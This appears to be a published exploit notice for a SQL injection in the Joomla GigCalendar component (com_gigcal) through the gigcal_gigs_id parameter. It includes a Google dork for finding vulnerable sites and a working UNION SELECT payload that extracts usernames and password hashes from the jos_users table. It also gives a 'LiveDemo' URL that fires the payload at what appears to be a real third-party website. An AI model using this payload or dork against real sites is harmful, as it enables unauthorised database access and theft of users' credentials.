Joomla com_gigcal SQL Injection

`#############################################################  
Joomla Component com_gigcal(gigcal_gigs_id) SQL-injection  
#############################################################  
  
  
###################################################  
#[~] Author : boom3rang   
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.  
#[~] Vulnerability : SQL injection   
#[~] Google Dork : inurl:com_gigcal  
--------------------------------------------------  
#[!] Name : GigCalendar  
#[!] creationDate : Dec 2005   
#[!] Created by : Graham Spice, David Richards   
#[!] AuthorEmail : [email protected]   
#[!] Site : www.gigcalendar.net  
#[!] Version : 1.0  
#[!] Download : http://joomlacode.org/gf/project/gigcalendar/frs/?action=FrsReleaseBrowse&frs_package_id=214  
###################################################  
  
  
[-] Example:  
http://localhost/Path/index.php?option=com_gigcal&task=details&gigcal_gigs_id=[Exploit]  
  
  
[-] Exploit:  
'+and+1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,concat(username,char(58),password),0,11,12+from+jos_users/*  
  
  
[-] LiveDemo:   
http://dromnyc.com/home/index.php?option=com_gigcal&task=details&gigcal_gigs_id=402'+and+1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,concat(username,char(58),password),0,11,12+from+jos_users/*&Itemid=37  
  
  
##############################  
#[!] Proud 2 be Albanian  
#[!] Proud 2 be Muslim  
#[!] United States of Albania  
#[!] Free Palestine  
##############################  
  
`